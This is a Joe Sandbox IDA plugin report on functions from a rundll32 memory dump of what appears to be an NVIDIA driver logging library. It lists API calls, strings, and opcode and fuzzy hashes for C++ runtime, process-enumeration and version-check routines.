Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: LockitLockit::~_std::_$ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 2856977306-0
Opcode ID: ecaaf9cd2f149443c18d5738186d43b1eb30e9db4d2f3bac65fca4f3f16b81f2
Instruction ID: 9faf68c0d878837a5d604dbc4cddaaea5a99ca0b932c378ca79e9970e2dd4003
Opcode Fuzzy Hash: ecaaf9cd2f149443c18d5738186d43b1eb30e9db4d2f3bac65fca4f3f16b81f2
Instruction Fuzzy Hash: 12314B62A0EA42A2FA15EB15E4400B86761EF94BE4F580231D66D477A5EF3CE8598328

Function 00007FF8A8D57B30 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D57B9B
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D57BC3
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D57BD8
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D57BED

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_
String ID:
API String ID: 1323251999-0
Opcode ID: 93e080f88ed689211b9ce7ba41fa0513fdcfe4d07710046eda0ed6fffc96e744
Instruction ID: 501b9be97b13b1048da7455edf60b81ca6179d6fa604805bc6735885884081f9
Opcode Fuzzy Hash: 93e080f88ed689211b9ce7ba41fa0513fdcfe4d07710046eda0ed6fffc96e744
Instruction Fuzzy Hash: AF2181B6B16A8194EF148E12D2401BD7321FB84FC4F24E032DA6D0BB59CF2CD899C304

Function 00007FF8A8D60F98 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D61003
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D6102B
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D61040
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D61055

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_
String ID:
API String ID: 1323251999-0
Opcode ID: 3c25c5139425b86a69570f3ea7bfe5f9e35514b2fd4d6475dddec9d8463ea4d5
Instruction ID: a3aee414e32e9e444ec31bcd03afe77f738e53271e4cc4d6c4276915251da715
Opcode Fuzzy Hash: 3c25c5139425b86a69570f3ea7bfe5f9e35514b2fd4d6475dddec9d8463ea4d5
Instruction Fuzzy Hash: 8A21A1B6B1AA85A4EF14CE12D1802BD6321FB84FC4F14D031EAAE07B59DF2DD889C354

Function 00007FF8A8D011FC Relevance: 6.1, APIs: 4, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Locinfo::_Locinfo.LIBCPMT ref: 00007FF8A8D01272
_Getctype.LIBCPMT ref: 00007FF8A8D0128A
_Getcvt.LIBCPMT ref: 00007FF8A8D012A3
std::_Locinfo::~_Locinfo.LIBCPMT ref: 00007FF8A8D012CF

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Locinfostd::_$GetctypeGetcvtLocinfo::_Locinfo::~_
String ID:
API String ID: 2826301415-0
Opcode ID: 1e99d4342cd29dba36445c3b1607530a25047ece4bcb5873c18625d63b8535b3
Instruction ID: 36b86b2b2426bfa6068bd6051e55250d75bfbb3e22dfb3549850b543bf813e99
Opcode Fuzzy Hash: 1e99d4342cd29dba36445c3b1607530a25047ece4bcb5873c18625d63b8535b3
Instruction Fuzzy Hash: 00217F22A0AB8592EB20CF28D4013A97770FB98BD4F409335DAAD536A6EF3CD595C750

Function 00007FF8A8D0AAD4 Relevance: 6.0, APIs: 4, Instructions: 47processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF8A8D0AB02
Process32FirstW.KERNEL32 ref: 00007FF8A8D0AB33
CloseHandle.KERNEL32 ref: 00007FF8A8D0AB65

Part of subcall function 00007FF8A8DC903C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DC9059

Process32NextW.KERNEL32 ref: 00007FF8A8D0AB56

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_invalid_parameter_noinfo
String ID:
API String ID: 3629628435-0
Opcode ID: d4961eedb22df2be85cba4189b959a7d20de85ac4467c504b93b6443318c4265
Instruction ID: 11b5ec630f0a22b4ab9aada274af5f91a5100c8bf3e1eac911efd7a6d1884036
Opcode Fuzzy Hash: d4961eedb22df2be85cba4189b959a7d20de85ac4467c504b93b6443318c4265
Instruction Fuzzy Hash: B011513570D641D1EB24DB21E48426A73A1FB88BD0F444235DDAD47798DF3CE509CB14

Function 00007FF8A8D56DCC Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32 ref: 00007FF8A8D56E1E
VerSetConditionMask.KERNEL32 ref: 00007FF8A8D56E2D
VerSetConditionMask.KERNEL32 ref: 00007FF8A8D56E3C
VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8D56E5A

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion
String ID:
API String ID: 2793162063-0
Opcode ID: 99230b27dbe4b2c95b5bed9331070829a79ef9e9bc114238ee211ec093b0693d
Instruction ID: 593cceba8c52b38b8db63626ba07e1d1763f5bf0589e29b88ce3531657f482e5
Opcode Fuzzy Hash: 99230b27dbe4b2c95b5bed9331070829a79ef9e9bc114238ee211ec093b0693d
Instruction Fuzzy Hash: 45119132605B41CAD720CF70E8413EAB3A0FB88B88F044134EA8D4B718EF3CD5588B54

Function 00007FF8A8D68760 Relevance: 6.0, APIs: 4, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,00007FF8A8D68809), ref: 00007FF8A8D68777
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,00007FF8A8D68809), ref: 00007FF8A8D68788
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8A8D687A0
throw_exception.LIBCPMT ref: 00007FF8A8D687A9

Part of subcall function 00007FF8A8D3C8D0: enable_error_info.LIBCPMT ref: 00007FF8A8D3C8EA
Part of subcall function 00007FF8A8D3C8D0: _CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D3C909
Part of subcall function 00007FF8A8D3C8D0: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,00007FF8A8D2DA0C), ref: 00007FF8A8D3C927
Part of subcall function 00007FF8A8D3C8D0: HeapAlloc.KERNEL32(?,?,?,?,?,?,?,00007FF8A8D2DA0C), ref: 00007FF8A8D3C938
Part of subcall function 00007FF8A8D3C8D0: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8A8D3C950
Part of subcall function 00007FF8A8D3C8D0: throw_exception.LIBCPMT ref: 00007FF8A8D3C959

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Heap$AllocProcessstd::bad_alloc::bad_allocthrow_exception$ExceptionThrowenable_error_info
String ID:
API String ID: 2554138254-0
Opcode ID: 62e3ad041dfcc6aefaaf70c5f66321e6d2c8053afacea2e9eb2edb1585a4e4ce
Instruction ID: bb711ab1b377e8eff58fefb9c7b69039db063deebd1fedbeccaf29ccd555e191
Opcode Fuzzy Hash: 62e3ad041dfcc6aefaaf70c5f66321e6d2c8053afacea2e9eb2edb1585a4e4ce
Instruction Fuzzy Hash: C5018832A0AB8191EB10DF25B9001696370FB997E4F449334EAAD43796FF7CE1A4C714

Function 00007FF8A8D3C910 Relevance: 6.0, APIs: 4, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,00007FF8A8D2DA0C), ref: 00007FF8A8D3C927
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,00007FF8A8D2DA0C), ref: 00007FF8A8D3C938
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8A8D3C950
throw_exception.LIBCPMT ref: 00007FF8A8D3C959

Part of subcall function 00007FF8A8D3C8D0: enable_error_info.LIBCPMT ref: 00007FF8A8D3C8EA
Part of subcall function 00007FF8A8D3C8D0: _CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D3C909

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Heap$AllocExceptionProcessThrowenable_error_infostd::bad_alloc::bad_allocthrow_exception
String ID:
API String ID: 567531190-0
Opcode ID: 01e0b1f7d15ae3e205be57a387aae64765740c4bca03fb4cb3ff0d67c3f455c9
Instruction ID: 8a79c22a9c91f157aa5e4d6fc83f95cca036c184d34c60d1e6ec382f556eb240
Opcode Fuzzy Hash: 01e0b1f7d15ae3e205be57a387aae64765740c4bca03fb4cb3ff0d67c3f455c9
Instruction Fuzzy Hash: CBF0363260BB4191EB109F65F80051963A4FB88BF4F544234DAAD43795FF7CD154C714

Function 00007FF8A8D278A4 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 437COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D15270: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D152DF
Part of subcall function 00007FF8A8D15270: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D15394

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00007FF8A8D27F43

Part of subcall function 00007FF8A8D9CA10: std::ios_base::_Tidy.LIBCPMT ref: 00007FF8A8D9CA35

Strings

c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\RegistryKey.h, xrefs: 00007FF8A8D278B0

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: LockitLockit::~_std::_std::ios_base::_$Ios_base_dtorTidy
String ID: c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\RegistryKey.h
API String ID: 1721638112-3002699068
Opcode ID: b96285b4551687ba9a6acca6d4b0652b2b1cff6adee2ddd95c6eb57c41b97d3b
Instruction ID: 07db2decc8052232d1af27b25ab23533e80a098b7c166ae2c567619ebd07d777
Opcode Fuzzy Hash: b96285b4551687ba9a6acca6d4b0652b2b1cff6adee2ddd95c6eb57c41b97d3b
Instruction Fuzzy Hash: 85125A72A0AA86A6DF20DF25D8942AD6361FB84BC4F448122DE6E477A5EF3CD509C314

Function 00007FF8A8D02F60 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 217COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 00007FF8A8D031AB

Part of subcall function 00007FF8A8D9B360: std::locale::_Locimp::_New_Locimp.LIBCPMT ref: 00007FF8A8D9B395
Part of subcall function 00007FF8A8D9B360: std::locale::_Setgloballocale.LIBCPMT ref: 00007FF8A8D9B3A0
Part of subcall function 00007FF8A8D9B360: _Yarn.LIBCPMT ref: 00007FF8A8D9B3B7
Part of subcall function 00007FF8A8D9B360: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D9B404

Strings

class, xrefs: 00007FF8A8D02FA4
const, xrefs: 00007FF8A8D03014

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: std::locale::_$InitLocimpLocimp::_LockitLockit::~_New_SetgloballocaleYarnstd::_
String ID: class$const
API String ID: 1441820753-3992238299
Opcode ID: 1878a3f0d5078fb0a05ebda721c5d5a39939ebdb12e0501878fa442cac1c30aa
Instruction ID: 7bc6172af267cb1122297c71b7ae80ff9ff41fb406e703942473336ba0795e92
Opcode Fuzzy Hash: 1878a3f0d5078fb0a05ebda721c5d5a39939ebdb12e0501878fa442cac1c30aa
Instruction Fuzzy Hash: FA81D522B0BA45A5EB14DFA6D4001BC2371EB49BC8F844532DA2F07784DF7CE65AC369

Function 00007FF8A8D23148 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF8A8D233D5

Strings

void __cdecl Nvidia::Logging::RegistryKey::CheckErrorCode(long,const char *), xrefs: 00007FF8A8D23157
map/set<T> too long, xrefs: 00007FF8A8D233CE

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: map/set<T> too long$void __cdecl Nvidia::Logging::RegistryKey::CheckErrorCode(long,const char *)
API String ID: 909987262-3918231815
Opcode ID: 5b633b0ad264ce31a833bf02233dd9e486a98662492c48b28d3cf40de160dccd
Instruction ID: d22250cbac1f24f17aa0789c9e95cf77cc8a3370041efc9f85128322999baed3
Opcode Fuzzy Hash: 5b633b0ad264ce31a833bf02233dd9e486a98662492c48b28d3cf40de160dccd
Instruction Fuzzy Hash: A391247360AB88D0DB18CB19D08012CBBA5F794F94B65D42ACBAD073B4EF79D8A5C354

Function 00007FF8A8DCAF88 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 176COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DCAFC0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DCB207

Strings

*, xrefs: 00007FF8A8DCB0CF

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *
API String ID: 3215553584-163128923
Opcode ID: ffb71dcfec2fdb1fba3e49d443df1eba83977a9d0cdf083cb99d37a18518271c
Instruction ID: 9ef7dfa4478f807bcae0fc4aff1d61e66514bc9f77a46ba09af24735f391eb5f
Opcode Fuzzy Hash: ffb71dcfec2fdb1fba3e49d443df1eba83977a9d0cdf083cb99d37a18518271c
Instruction Fuzzy Hash: 4E71C8F290A612D6EB688F3A845403C3BA0FB45BD8F241135DB6E43294DF38E489D738

Function 00007FF8A8D81190 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

wcsftime.LIBCMT ref: 00007FF8A8D81338

Strings

NGUgNGMgNTMgMzEgMmUgMzA, xrefs: 00007FF8A8D81221
%Y-%m-%dT%H:%M:%S, xrefs: 00007FF8A8D81314

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: wcsftime
